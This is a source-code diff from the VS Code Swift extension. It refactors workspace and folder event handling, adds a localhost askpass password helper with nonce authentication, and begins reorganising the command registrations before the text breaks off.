this.tasks.onDidEndTaskProcess(event => { + const task = event.execution.task; + if ( + task.group === vscode.TaskGroup.Build && + event.exitCode !== 0 && + event.exitCode !== undefined && + configuration.actionAfterBuildError === "Focus Problems" + ) { + void vscode.commands + .executeCommand("workbench.panel.markers.view.focus") + .then(() => { + /* Put in worker queue */ + }); + } + }); + const swiftFileWatcher = vscode.workspace.createFileSystemWatcher("**/*.swift"); + swiftFileWatcher.onDidCreate(uri => { + this.swiftFileObservers.forEach(observer => + observer({ uri, operation: FileOperation.created }) + ); + }); + swiftFileWatcher.onDidChange(uri => { + this.swiftFileObservers.forEach(observer => + observer({ uri, operation: FileOperation.changed }) + ); + }); + swiftFileWatcher.onDidDelete(uri => { + this.swiftFileObservers.forEach(observer => + observer({ uri, operation: FileOperation.deleted }) + ); + }); + this.subscriptions = [ - backgroundCompilationOnDidSave, + swiftFileWatcher, + onDidEndTask, + this.commentCompletionProvider, contextKeysUpdate, onChangeConfig, this.tasks, + this.diagnostics, + this.documentation, this.languageClientManager, - this.outputChannel, + this.logger, this.statusItem, + this.buildStatus, + this.projectPanel, ]; + this.lastFocusUri = vscode.window.activeTextEditor?.document.uri; + + this.setupEventListeners(); + } + + async stop() { + try { + await this.languageClientManager.stop(); + } catch { + // ignore + } } dispose() { this.folders.forEach(f => f.dispose()); + this.folders.length = 0; this.subscriptions.forEach(item => item.dispose()); + this.subscriptions.length = 0; } - get swiftVersion() { - return this.toolchain.swiftVersion; - } - - /** Get swift version and create WorkspaceContext */ - static async create(): Promise { - const tempFolder = await TemporaryFolder.create(); - const toolchain = await SwiftToolchain.create(); - return new WorkspaceContext(tempFolder, toolchain); + get globalToolchainSwiftVersion() { + return this.globalToolchain.swiftVersion; } /** * Update context keys based on package contents */ updateContextKeys(folderContext: FolderContext | null) { - if (!folderContext || !folderContext.swiftPackage.foundPackage) { - contextKeys.hasPackage = false; - contextKeys.packageHasDependencies = false; - contextKeys.packageHasPlugins = false; + if (!folderContext) { + this.contextKeys.hasPackage = false; + this.contextKeys.hasExecutableProduct = false; + this.contextKeys.packageHasDependencies = false; return; } - contextKeys.hasPackage = true; - contextKeys.packageHasDependencies = folderContext.swiftPackage.dependencies.length > 0; - contextKeys.packageHasPlugins = folderContext.swiftPackage.plugins.length > 0; + + void Promise.all([ + folderContext.swiftPackage.foundPackage, + folderContext.swiftPackage.executableProducts, + folderContext.swiftPackage.dependencies, + ]).then(([foundPackage, executableProducts, dependencies]) => { + this.contextKeys.hasPackage = foundPackage; + this.contextKeys.hasExecutableProduct = executableProducts.length > 0; + this.contextKeys.packageHasDependencies = dependencies.length > 0; + }); + } + + /** + * Update context keys based on package contents + */ + async updateContextKeysForFile() { + if (this.currentDocument) { + const target = await this.currentFolder?.swiftPackage.getTarget( + this.currentDocument?.fsPath + ); + this.contextKeys.currentTargetType = target?.type; + } else { + this.contextKeys.currentTargetType = undefined; + } + + if (this.currentFolder) { + const languageClient = this.languageClientManager.get(this.currentFolder); + await languageClient.useLanguageClient(async client => { + const experimentalCaps = client.initializeResult?.capabilities.experimental; + if (!experimentalCaps) { + this.contextKeys.supportsReindexing = false; + this.contextKeys.supportsDocumentationLivePreview = false; + return; + } + this.contextKeys.supportsReindexing = + experimentalCaps[ReIndexProjectRequest.method] !== undefined; + this.contextKeys.supportsDocumentationLivePreview = + experimentalCaps[DocCDocumentationRequest.method] !== undefined; + }); + } + + setSnippetContextKey(this); + } + + /** + * Update hasPlugins context key + */ + updatePluginContextKey() { + let hasPlugins = false; + for (const folder of this.folders) { + if (folder.swiftPackage.plugins.length > 0) { + hasPlugins = true; + break; + } + } + this.contextKeys.packageHasPlugins = hasPlugins; } /** Setup the vscode event listeners to catch folder changes and active window changes */ - setupEventListeners() { + private setupEventListeners() { // add event listener for when a workspace folder is added/removed const onWorkspaceChange = vscode.workspace.onDidChangeWorkspaceFolders(event => { if (this === undefined) { + // eslint-disable-next-line no-console console.log("Trying to run onDidChangeWorkspaceFolders on deleted context"); return; } - this.onDidChangeWorkspaceFolders(event); + void this.onDidChangeWorkspaceFolders(event); }); // add event listener for when the active edited text document changes const onDidChangeActiveWindow = vscode.window.onDidChangeActiveTextEditor(async editor => { if (this === undefined) { + // eslint-disable-next-line no-console console.log("Trying to run onDidChangeWorkspaceFolders on deleted context"); return; } @@ -204,28 +350,37 @@ export class WorkspaceContext implements vscode.Disposable { // add workspace folders, already loaded if (vscode.workspace.workspaceFolders && vscode.workspace.workspaceFolders.length > 0) { for (const folder of vscode.workspace.workspaceFolders) { + const singleFolderStartTime = Date.now(); await this.addWorkspaceFolder(folder); + const singleFolderElapsed = Date.now() - singleFolderStartTime; + this.logger.info( + `Added workspace folder ${folder.name} in ${singleFolderElapsed}ms` + ); } } + // If we don't have a current selected folder Start up language server by firing focus event - // on either null folder or the first folder if there is only one + // on the first root folder found in the workspace if there is only one. if (this.currentFolder === undefined) { - if (this.folders.length === 1) { - await this.focusFolder(this.folders[0]); + const rootFolders = this.folders.filter(folder => folder.isRootFolder); + if (rootFolders.length === 1) { + await this.focusFolder(rootFolders[0]); } else { await this.focusFolder(null); } } + + await this.initialisationComplete(); } /** * Fire an event to all folder observers * @param folder folder to fire event for - * @param event event type + * @param operation event type */ - async fireEvent(folder: FolderContext | null, event: FolderEvent) { + async fireEvent(folder: FolderContext | null, operation: FolderOperation) { for (const observer of this.observers) { - await observer(folder, event, this); + await observer({ folder, operation, workspace: this }); } } @@ -243,12 +398,36 @@ export class WorkspaceContext implements vscode.Disposable { // send unfocus event for previous folder observers if (this.currentFolder !== undefined) { - await this.fireEvent(this.currentFolder, FolderEvent.unfocus); + await this.fireEvent(this.currentFolder, FolderOperation.unfocus); } this.currentFolder = folderContext; // send focus event to all observers - await this.fireEvent(folderContext, FolderEvent.focus); + await this.fireEvent(folderContext, FolderOperation.focus); + } + + public testsFinished(folder: FolderContext, kind: TestKind, targets: string[]) { + this.testFinishEmitter.fire({ kind, folder, targets }); + } + + public testsStarted(folder: FolderContext, kind: TestKind, targets: string[]) { + this.testStartEmitter.fire({ kind, folder, targets }); + } + + public buildStarted( + targetName: string, + launchConfig: vscode.DebugConfiguration, + options: vscode.DebugSessionOptions + ) { + this.buildStartEmitter.fire({ targetName, launchConfig, options }); + } + + public buildFinished( + targetName: string, + launchConfig: vscode.DebugConfiguration, + options: vscode.DebugSessionOptions + ) { + this.buildFinishEmitter.fire({ targetName, launchConfig, options }); } /** @@ -261,7 +440,7 @@ export class WorkspaceContext implements vscode.Disposable { } for (const folder of event.removed) { - await this.removeFolder(folder); + await this.removeWorkspaceFolder(folder); } } @@ -269,26 +448,53 @@ export class WorkspaceContext implements vscode.Disposable { * Called whenever a folder is added to the workspace * @param folder folder being added */ - async addWorkspaceFolder(folder: vscode.WorkspaceFolder) { - // add folder if Package.swift exists - if (await pathExists(folder.uri.fsPath, "Package.swift")) { - await this.addPackageFolder(folder.uri, folder); + async addWorkspaceFolder(workspaceFolder: vscode.WorkspaceFolder) { + const searchStartTime = Date.now(); + const folders = await searchForPackages( + workspaceFolder.uri, + configuration.disableSwiftPMIntegration, + configuration.folder(workspaceFolder).searchSubfoldersForPackages, + configuration.folder(workspaceFolder).ignoreSearchingForPackagesInSubfolders, + this.globalToolchainSwiftVersion + ); + const searchElapsed = Date.now() - searchStartTime; + this.logger.info( + `Package search for ${workspaceFolder.name} completed in ${searchElapsed}ms (found ${folders.length} packages)` + ); + + const addPackagesStartTime = Date.now(); + for (const folder of folders) { + const singlePackageStartTime = Date.now(); + await this.addPackageFolder(folder, workspaceFolder); + const singlePackageElapsed = Date.now() - singlePackageStartTime; + this.logger.info(`Added package folder ${folder.fsPath} in ${singlePackageElapsed}ms`); } + const addPackagesElapsed = Date.now() - addPackagesStartTime; + this.logger.info( + `All package folders for ${workspaceFolder.name} added in ${addPackagesElapsed}ms` + ); - if (this.getActiveWorkspaceFolder(vscode.window.activeTextEditor) === folder) { + if (this.getActiveWorkspaceFolder(vscode.window.activeTextEditor) === workspaceFolder) { await this.focusTextEditor(vscode.window.activeTextEditor); } } - async addPackageFolder( + public async addPackageFolder( folder: vscode.Uri, workspaceFolder: vscode.WorkspaceFolder ): Promise { + // find context with root folder + const index = this.folders.findIndex(context => context.folder.fsPath === folder.fsPath); + if (index !== -1) { + const existingFolder = this.folders[index]; + this.logger.warn(`Adding package folder ${folder} twice: ${Error().stack}`); + this.logger.warn(`Existing folder was created by ${existingFolder.creationStack}`); + return existingFolder; + } const folderContext = await FolderContext.create(folder, workspaceFolder, this); this.folders.push(folderContext); - await this.fireEvent(folderContext, FolderEvent.add); - + await this.fireEvent(folderContext, FolderOperation.add); return folderContext; } @@ -296,115 +502,94 @@ export class WorkspaceContext implements vscode.Disposable { * called when a folder is removed from workspace * @param folder folder being removed */ - async removeFolder(folder: vscode.WorkspaceFolder) { - // find context with root folder - const index = this.folders.findIndex(context => context.workspaceFolder === folder); - if (index === -1) { - console.error(`Trying to delete folder ${folder} which has no record`); - return; - } - const context = this.folders[index]; - // if current folder is this folder send unfocus event by setting - // current folder to undefined - if (this.currentFolder === context) { - this.focusFolder(null); - } - // run observer functions in reverse order when removing - const observersReversed = [...this.observers]; - observersReversed.reverse(); - for (const observer of observersReversed) { - await observer(context, FolderEvent.remove, this); - } - context.dispose(); - // remove context - this.folders.splice(index, 1); - } - - /** - * Add workspace folder event observer - * @param fn observer function to be called when event occurs - * @returns disposable object - */ - observeFolders(fn: WorkspaceFoldersObserver): vscode.Disposable { - this.observers.add(fn); - return { dispose: () => this.observers.delete(fn) }; - } - - /** find LLDB version and setup path in CodeLLDB */ - async setLLDBVersion() { - const libPathResult = await getLLDBLibPath(this.toolchain); - if (!libPathResult.success) { - // if failure message is undefined then fail silently - if (!libPathResult.failure) { + async removeWorkspaceFolder(workspaceFolder: vscode.WorkspaceFolder) { + for (const folder of this.folders) { + if (folder.workspaceFolder !== workspaceFolder) { return; } - const errorMessage = `Error: ${getErrorDescription(libPathResult.failure)}`; - vscode.window.showErrorMessage( - `Failed to setup CodeLLDB for debugging of Swift code. Debugging may produce unexpected results. ${errorMessage}` - ); - this.outputChannel.log(`Failed to setup CodeLLDB: ${errorMessage}`); - return; + // if current folder is this folder send unfocus event by setting + // current folder to undefined + if (this.currentFolder === folder) { + await this.focusFolder(null); + } + // run observer functions in reverse order when removing + const observersReversed = [...this.observers]; + observersReversed.reverse(); + for (const observer of observersReversed) { + await observer({ folder, operation: FolderOperation.remove, workspace: this }); + } + folder.dispose(); } + this.folders = this.folders.filter(folder => folder.workspaceFolder !== workspaceFolder); + } - const libPath = libPathResult.success; - const lldbConfig = vscode.workspace.getConfiguration("lldb"); - const configLLDBPath = lldbConfig.get("library"); - if (configLLDBPath === libPath) { - return; - } + onDidChangeFolders(listener: (event: FolderEvent) => unknown): vscode.Disposable { + this.observers.add(listener); + return { dispose: () => this.observers.delete(listener) }; + } - // show dialog for setting up LLDB - vscode.window - .showInformationMessage( - "CodeLLDB requires the correct Swift version of LLDB for debugging. Do you want to set this up in your global settings or the workspace settings?", - "Global", - "Workspace", - "Cancel" - ) - .then(result => { - switch (result) { - case "Global": - lldbConfig.update("library", libPath, vscode.ConfigurationTarget.Global); - // clear workspace setting - lldbConfig.update( - "library", - undefined, - vscode.ConfigurationTarget.Workspace - ); - break; - case "Workspace": - lldbConfig.update("library", libPath, vscode.ConfigurationTarget.Workspace); - break; - } - }); + onDidChangeSwiftFiles(listener: (event: SwiftFileEvent) => unknown): vscode.Disposable { + this.swiftFileObservers.add(listener); + return { dispose: () => this.swiftFileObservers.delete(listener) }; } /** set focus based on the file a TextEditor is editing */ async focusTextEditor(editor?: vscode.TextEditor) { - if (!editor || !editor.document || editor.document.uri.scheme !== "file") { - return; + await this.focusUri(editor?.document.uri); + } + + async focusUri(uri?: vscode.Uri) { + this.currentDocument = uri ?? null; + await this.updateContextKeysForFile(); + if ( + this.currentDocument?.scheme === "file" || + this.currentDocument?.scheme === "sourcekit-lsp" + ) { + await this.focusPackageUri(this.currentDocument); } - await this.focusUri(editor.document.uri); } /** set focus based on the file */ - async focusUri(uri: vscode.Uri) { + async focusPackageUri(uri: vscode.Uri) { + if (isExcluded(uri)) { + return; + } const packageFolder = await this.getPackageFolder(uri); if (packageFolder instanceof FolderContext) { await this.focusFolder(packageFolder); + // clear last focus uri as we have set focus for a folder that has already loaded + this.lastFocusUri = undefined; } else if (packageFolder instanceof vscode.Uri) { - const workspaceFolder = vscode.workspace.getWorkspaceFolder(packageFolder); - if (!workspaceFolder) { - return; + if (this.initialisationFinished === false) { + // If a package takes a long time to load during initialisation, a focus event + // can occur prior to the package being fully loaded. At this point because the + // folder for that package isn't setup it will attempt to add the package again. + // To avoid this if we are still initialising we store the last uri to get focus + // and once the initialisation is complete we call focusUri again from the function + // initialisationComplete. + this.lastFocusUri = uri; + } else { + const workspaceFolder = vscode.workspace.getWorkspaceFolder(packageFolder); + if (!workspaceFolder) { + return; + } + await this.unfocusCurrentFolder(); + const folderContext = await this.addPackageFolder(packageFolder, workspaceFolder); + await this.focusFolder(folderContext); } - await this.unfocusCurrentFolder(); - const folderContext = await this.addPackageFolder(packageFolder, workspaceFolder); - await this.focusFolder(folderContext); } else { await this.focusFolder(null); } } + private async initialisationComplete() { + this.initialisationFinished = true; + if (this.lastFocusUri) { + await this.focusUri(this.lastFocusUri); + this.lastFocusUri = undefined; + } + } + /** return workspace folder from text editor */ private getWorkspaceFolder(url: vscode.Uri): vscode.WorkspaceFolder | undefined { return vscode.workspace.getWorkspaceFolder(url); @@ -426,9 +611,7 @@ export class WorkspaceContext implements vscode.Disposable { * one of those. If not then it searches up the tree to find the uppermost folder in the * workspace that contains a Package.swift */ - private async getPackageFolder( - url: vscode.Uri - ): Promise { + async getPackageFolder(url: vscode.Uri): Promise { // is editor document in any of the current FolderContexts const folder = this.folders.find(context => { return isPathInsidePath(url.fsPath, context.folder.fsPath); @@ -446,14 +629,14 @@ export class WorkspaceContext implements vscode.Disposable { let packagePath: string | undefined = undefined; let currentFolder = path.dirname(url.fsPath); // does Package.swift exist in this folder - if (await pathExists(currentFolder, "Package.swift")) { + if (await this.isValidWorkspaceFolder(currentFolder)) { packagePath = currentFolder; } // does Package.swift exist in any parent folders up to the root of the // workspace while (currentFolder !== workspacePath) { currentFolder = path.dirname(currentFolder); - if (await pathExists(currentFolder, "Package.swift")) { + if (await this.isValidWorkspaceFolder(currentFolder)) { packagePath = currentFolder; } } @@ -465,23 +648,58 @@ export class WorkspaceContext implements vscode.Disposable { } } + /** + * Return if folder is considered a valid root folder ie does it contain a SwiftPM + * Package.swift or a CMake compile_commands.json, compile_flags.txt, or a BSP buildServer.json. + */ + async isValidWorkspaceFolder(folder: string): Promise { + return await isValidWorkspaceFolder( + folder, + configuration.disableSwiftPMIntegration, + this.globalToolchainSwiftVersion + ); + } + /** send unfocus event to current focussed folder and clear current folder */ private async unfocusCurrentFolder() { // send unfocus event for previous folder observers if (this.currentFolder !== undefined) { - await this.fireEvent(this.currentFolder, FolderEvent.unfocus); + await this.fireEvent(this.currentFolder, FolderOperation.unfocus); } this.currentFolder = undefined; } - private observers: Set = new Set(); + private async needToAutoGenerateLaunchConfig() { + let autoGenerate = false; + for (const folder of this.folders) { + const requiresAutoGenerate = + configuration.folder(folder.workspaceFolder).autoGenerateLaunchConfigurations && + (await folder.swiftPackage.executableProducts).length > 0; + autoGenerate = autoGenerate || requiresAutoGenerate; + } + return autoGenerate; + } +} + +/** Test events for test run begin/end */ +interface TestEvent { + kind: TestKind; + folder: FolderContext; + targets: string[]; } -/** Workspace Folder events */ -export enum FolderEvent { - // Workspace folder has been added +/** Build events for build + run start/stop */ +interface BuildEvent { + targetName: string; + launchConfig: vscode.DebugConfiguration; + options: vscode.DebugSessionOptions; +} + +/** Workspace Folder Operation types */ +export enum FolderOperation { + // Package folder has been added add = "add", - // Workspace folder has been removed + // Package folder has been removed remove = "remove", // Workspace folder has gained focus via a file inside the folder becoming the actively edited file focus = "focus", @@ -491,11 +709,35 @@ export enum FolderEvent { packageUpdated = "packageUpdated", // Package.resolved has been updated resolvedUpdated = "resolvedUpdated", + // .build/workspace-state.json has been updated + workspaceStateUpdated = "workspaceStateUpdated", + // .build/workspace-state.json has been updated + packageViewUpdated = "packageViewUpdated", + // Package plugins list has been updated + pluginsUpdated = "pluginsUpdated", + // The folder's swift toolchain version has been updated + swiftVersionUpdated = "swiftVersionUpdated", +} + +/** Workspace Folder Event */ +export interface FolderEvent { + operation: FolderOperation; + workspace: WorkspaceContext; + folder: FolderContext | null; } -/** Workspace Folder observer function */ -export type WorkspaceFoldersObserver = ( - folder: FolderContext | null, - operation: FolderEvent, - workspace: WorkspaceContext -) => unknown; +/** File Operation types */ +export enum FileOperation { + // File has been created + created = "created", + // File has been changed + changed = "changed", + // File was deleted + deleted = "deleted", +} + +/** Swift File Event */ +export interface SwiftFileEvent { + operation: FileOperation; + uri: vscode.Uri; +} diff --git a/src/askpass/askpass-main.ts b/src/askpass/askpass-main.ts new file mode 100644 index 000000000..cd86c9fcb --- /dev/null +++ b/src/askpass/askpass-main.ts @@ -0,0 +1,82 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2025 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +/* eslint-disable no-console */ +import * as fs from "fs"; +import * as http from "http"; +import { z } from "zod/v4/mini"; + +const outputFile = process.env.VSCODE_SWIFT_ASKPASS_FILE; +if (!outputFile) { + throw new Error("Missing environment variable $VSCODE_SWIFT_ASKPASS_FILE"); +} + +const nonce = process.env.VSCODE_SWIFT_ASKPASS_NONCE; +if (!nonce) { + throw new Error("Missing environment variable $VSCODE_SWIFT_ASKPASS_NONCE"); +} + +const port = Number.parseInt(process.env.VSCODE_SWIFT_ASKPASS_PORT ?? "-1", 10); +if (isNaN(port) || port < 0) { + throw new Error("Missing environment variable $VSCODE_SWIFT_ASKPASS_PORT"); +} + +const req = http.request( + { + hostname: "localhost", + port: port, + path: `/askpass?nonce=${encodeURIComponent(nonce)}`, + method: "GET", + }, + res => { + function parseResponse(rawData: string): { password?: string } { + try { + const rawJSON = JSON.parse(rawData); + return z.object({ password: z.optional(z.string()) }).parse(rawJSON); + } catch { + // DO NOT log the underlying error here. It contains sensitive password info! + throw Error("Failed to parse response from askpass server."); + } + } + + let rawData = ""; + res.on("data", chunk => { + rawData += chunk; + }); + + res.on("end", () => { + if (res.statusCode !== 200) { + console.error(`Server responded with status code ${res.statusCode}`); + process.exit(1); + } + const password = parseResponse(rawData).password; + if (!password) { + console.error("User cancelled password input."); + process.exit(1); + } + try { + fs.writeFileSync(outputFile, password, "utf8"); + } catch (error) { + console.error(Error(`Unable to write to file ${outputFile}`, { cause: error })); + process.exit(1); + } + }); + } +); + +req.on("error", error => { + console.error(Error(`Request failed: GET ${req.host}/${req.path}`, { cause: error })); + process.exit(1); +}); + +req.end(); diff --git a/src/askpass/askpass-server.ts b/src/askpass/askpass-server.ts new file mode 100644 index 000000000..0402904e8 --- /dev/null +++ b/src/askpass/askpass-server.ts @@ -0,0 +1,88 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2025 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import * as crypto from "crypto"; +import * as http from "http"; +import * as vscode from "vscode"; + +/** Options that can be used to configure the behavior of {@link withAskpassServer}. */ +export interface WithAskpassServerOptions { + /** The title of the input box shown in VS Code. */ + title?: string; +} + +/** + * Creates a temporary HTTP server that can be used to handle askpass requests from various terminal + * applications. The server will be closed when the provided task completes. + * + * The task will be provided with a randomly generated nonce and port number used for connecting to + * the server. Requests without a valid nonce will be rejected with a 401 status code. + * + * @param task Function to execute while the server is listening for connections + * @returns Promise that resolves when the task completes and server is cleaned up + */ +export async function withAskpassServer( + task: (nonce: string, port: number) => Promise, + options: WithAskpassServerOptions = {} +): Promise { + const nonce = crypto.randomBytes(32).toString("hex"); + const server = http.createServer((req, res) => { + if (!req.url) { + return res.writeHead(404).end(); + } + + const url = new URL(req.url, `http://localhost`); + if (url.pathname !== "/askpass") { + return res.writeHead(404).end(); + } + + const requestNonce = url.searchParams.get("nonce"); + if (requestNonce !== nonce) { + return res.writeHead(401).end(); + } + + void vscode.window + .showInputBox({ + password: true, + title: options.title, + placeHolder: "Please enter your password", + ignoreFocusOut: true, + }) + .then(password => { + res.writeHead(200, { "Content-Type": "application/json" }).end( + JSON.stringify({ password }) + ); + }); + }); + + return new Promise((resolve, reject) => { + server.listen(0, "localhost", async () => { + try { + const address = server.address(); + if (!address || typeof address === "string") { + throw new Error("Failed to get server port"); + } + const port = address.port; + resolve(await task(nonce, port)); + } catch (error) { + reject(error); + } finally { + server.close(); + } + }); + + server.on("error", error => { + reject(error); + }); + }); +} diff --git a/src/commands.ts b/src/commands.ts index cb9425f2c..581d635a0 100644 --- a/src/commands.ts +++ b/src/commands.ts @@ -1,26 +1,57 @@ //===----------------------------------------------------------------------===// // -// This source file is part of the VSCode Swift open source project +// This source file is part of the VS Code Swift open source project // -// Copyright (c) 2021-2022 the VSCode Swift project authors +// Copyright (c) 2021-2024 the VS Code Swift project authors // Licensed under Apache License v2.0 // // See LICENSE.txt for license information -// See CONTRIBUTORS.txt for the list of VSCode Swift project authors +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors // // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - -import * as vscode from "vscode"; -import * as fs from "fs/promises"; import * as path from "path"; -import { FolderEvent, WorkspaceContext } from "./WorkspaceContext"; -import { createSwiftTask, SwiftTaskProvider } from "./SwiftTaskProvider"; -import { FolderContext } from "./FolderContext"; -import { PackageNode } from "./ui/PackageDependencyProvider"; -import { execSwift } from "./utilities/utilities"; -import { Version } from "./utilities/version"; +import * as vscode from "vscode"; + +import { debugSnippet, runSnippet } from "./SwiftSnippets"; +import { TestKind } from "./TestExplorer/TestKind"; +import { WorkspaceContext } from "./WorkspaceContext"; +import { attachDebugger } from "./commands/attachDebugger"; +import { cleanBuild, debugBuild, runBuild } from "./commands/build"; +import { captureDiagnostics } from "./commands/captureDiagnostics"; +import { createNewProject } from "./commands/createNewProject"; +import { editDependency } from "./commands/dependencies/edit"; +import { resolveDependencies } from "./commands/dependencies/resolve"; +import { uneditDependency } from "./commands/dependencies/unedit"; +import { updateDependencies } from "./commands/dependencies/update"; +import { updateDependenciesViewList } from "./commands/dependencies/updateDepViewList"; +import { useLocalDependency } from "./commands/dependencies/useLocal"; +import { generateLaunchConfigurations } from "./commands/generateLaunchConfigurations"; +import { generateSourcekitConfiguration } from "./commands/generateSourcekitConfiguration"; +import { insertFunctionComment } from "./commands/insertFunctionComment"; +import { promptToInstallSwiftlyToolchain } from "./commands/installSwiftlyToolchain"; +import { newSwiftFile } from "./commands/newFile"; +import { openDocumentation } from "./commands/openDocumentation"; +import { openEducationalNote } from "./commands/openEducationalNote"; +import { openInExternalEditor } from "./commands/openInExternalEditor"; +import { openInWorkspace } from "./commands/openInWorkspace"; +import { openPackage } from "./commands/openPackage"; +import { pickProcess } from "./commands/pickProcess"; +import { reindexProject } from "./commands/reindexProject"; +import { resetPackage } from "./commands/resetPackage"; +import restartLSPServer from "./commands/restartLSPServer"; +import { runAllTests } from "./commands/runAllTests"; +import { runPluginTask } from "./commands/runPluginTask"; +import { runSwiftScript } from "./commands/runSwiftScript"; +import { runTask } from "./commands/runTask"; +import { runTest } from "./commands/runTest"; +import { switchPlatform } from "./commands/switchPlatform"; +import { extractTestItemsAndCount, runTestMultipleTimes } from "./commands/testMultipleTimes"; +import { SwiftLogger } from "./logging/SwiftLogger"; +import { SwiftToolchain } from "./toolchain/toolchain"; +import { PackageNode } from "./ui/ProjectPanelProvider"; +import { showToolchainSelectionQuickPick } from "./ui/ToolchainSelection"; /** * References: @@ -31,452 +62,318 @@ import { Version } from "./utilities/version"; * https://code.visualstudio.com/api/extension-guides/command */ -/** - * Executes a {@link vscode.Task task} to resolve this package's dependencies. - */ -export async function resolveDependencies(ctx: WorkspaceContext) { - const current = ctx.currentFolder; - if (!current) { - return; - } - await resolveFolderDependencies(current); -} +export type WorkspaceContextWithToolchain = WorkspaceContext & { toolchain: SwiftToolchain }; -/** - * Run `swift package resolve` inside a folder - * @param folderContext folder to run resolve for - */ -export async function resolveFolderDependencies( - folderContext: FolderContext, - checkAlreadyRunning?: boolean -) { - const task = createSwiftTask(["package", "resolve"], SwiftTaskProvider.resolvePackageName, { - cwd: folderContext.folder, - scope: folderContext.workspaceFolder, - prefix: folderContext.name, - presentationOptions: { reveal: vscode.TaskRevealKind.Silent }, - }); - - await executeTaskWithUI( - task, - "Resolving Dependencies", - folderContext, - false, - checkAlreadyRunning - ).then(result => { - updateAfterError(result, folderContext); - }); -} - -/** - * Executes a {@link vscode.Task task} to update this package's dependencies. - */ -export async function updateDependencies(ctx: WorkspaceContext) { - const current = ctx.currentFolder; - if (!current) { - return; - } - await updateFolderDependencies(current); -} - -/** - * Run `swift package update` inside a folder - * @param folderContext folder to run update inside - * @returns - */ -export async function updateFolderDependencies(folderContext: FolderContext) { - const task = createSwiftTask(["package", "update"], SwiftTaskProvider.updatePackageName, { - cwd: folderContext.folder, - scope: folderContext.workspaceFolder, - prefix: folderContext.name, - presentationOptions: { reveal: vscode.TaskRevealKind.Silent }, - }); - - await executeTaskWithUI(task, "Updating Dependencies", folderContext).then(result => { - updateAfterError(result, folderContext); - }); -} - -/** - * Executes a {@link vscode.Task task} to delete all build artifacts. - */ -export async function cleanBuild(ctx: WorkspaceContext) { - const current = ctx.currentFolder; - if (!current) { - return; - } - await folderCleanBuild(current); -} - -/** - * Run `swift package clean` inside a folder - * @param folderContext folder to run update inside - */ -export async function folderCleanBuild(folderContext: FolderContext) { - const task = createSwiftTask(["package", "clean"], SwiftTaskProvider.cleanBuildName, { - cwd: folderContext.folder, - scope: folderContext.workspaceFolder, - prefix: folderContext.name, - presentationOptions: { reveal: vscode.TaskRevealKind.Silent }, - group: vscode.TaskGroup.Clean, - }); - - await executeTaskWithUI(task, "Clean Build", folderContext); +export function registerToolchainCommands( + ctx: WorkspaceContext | undefined, + logger: SwiftLogger +): vscode.Disposable[] { + return [ + vscode.commands.registerCommand("swift.createNewProject", () => + createNewProject(ctx?.globalToolchain) + ), + vscode.commands.registerCommand("swift.selectToolchain", () => + showToolchainSelectionQuickPick( + ctx?.currentFolder?.toolchain ?? ctx?.globalToolchain, + logger, + ctx?.currentFolder?.folder + ) + ), + vscode.commands.registerCommand("swift.pickProcess", configuration => + pickProcess(configuration) + ), + ]; } -/** - * Executes a {@link vscode.Task task} to reset the complete cache/build directory. - */ -export async function resetPackage(ctx: WorkspaceContext) { - const current = ctx.currentFolder; - if (!current) { - return; - } - await folderResetPackage(current); +export enum Commands { + RUN = "swift.run", + DEBUG = "swift.debug", + CLEAN_BUILD = "swift.cleanBuild", + RESOLVE_DEPENDENCIES = "swift.resolveDependencies", + SHOW_FLAT_DEPENDENCIES_LIST = "swift.flatDependenciesList", + SHOW_NESTED_DEPENDENCIES_LIST = "swift.nestedDependenciesList", + UPDATE_DEPENDENCIES = "swift.updateDependencies", + RUN_TESTS_MULTIPLE_TIMES = "swift.runTestsMultipleTimes", + RUN_TESTS_UNTIL_FAILURE = "swift.runTestsUntilFailure", + DEBUG_TESTS_MULTIPLE_TIMES = "swift.debugTestsMultipleTimes", + DEBUG_TESTS_UNTIL_FAILURE = "swift.debugTestsUntilFailure", + RESET_PACKAGE = "swift.resetPackage", + USE_LOCAL_DEPENDENCY = "swift.useLocalDependency", + UNEDIT_DEPENDENCY = "swift.uneditDependency", + RUN_TASK = "swift.runTask", + RUN_PLUGIN_TASK = "swift.runPluginTask", + RUN_SNIPPET = "swift.runSnippet", + DEBUG_SNIPPET = "swift.debugSnippet", + PREVIEW_DOCUMENTATION = "swift.previewDocumentation", + RUN_ALL_TESTS = "swift.runAllTests", + RUN_ALL_TESTS_PARALLEL = "swift.runAllTestsParallel", + DEBUG_ALL_TESTS = "swift.debugAllTests", + COVER_ALL_TESTS = "swift.coverAllTests", + RUN_TEST = "swift.runTest", + DEBUG_TEST = "swift.debugTest", + RUN_TEST_WITH_COVERAGE = "swift.runTestWithCoverage", + OPEN_MANIFEST = "swift.openManifest", + RESTART_LSP = "swift.restartLSPServer", + SELECT_TOOLCHAIN = "swift.selectToolchain", + INSTALL_SWIFTLY_TOOLCHAIN = "swift.installSwiftlyToolchain", + INSTALL_SWIFTLY_SNAPSHOT_TOOLCHAIN = "swift.installSwiftlySnapshotToolchain", + GENERATE_SOURCEKIT_CONFIG = "swift.generateSourcekitConfiguration", } /** - * Run `swift package reset` inside a folder - * @param folderContext folder to run update inside + * Registers this extension's commands in the given {@link vscode.ExtensionContext context}. */ -export async function folderResetPackage(folderContext: FolderContext) { - const task = createSwiftTask(["package", "reset"], "Reset Package Dependencies", { - cwd: folderContext.folder, - scope: folderContext.workspaceFolder, - prefix: folderContext.name, - presentationOptions: { reveal: vscode.TaskRevealKind.Silent }, - group: vscode.TaskGroup.Clean, - }); - - await executeTaskWithUI(task, "Reset Package", folderContext).then(async success => { - if (!success) { - return; - } - const resolveTask = createSwiftTask( - ["package", "resolve"], - SwiftTaskProvider.resolvePackageName, - { - cwd: folderContext.folder, - scope: folderContext.workspaceFolder, - prefix: folderContext.name, - presentationOptions: { reveal: 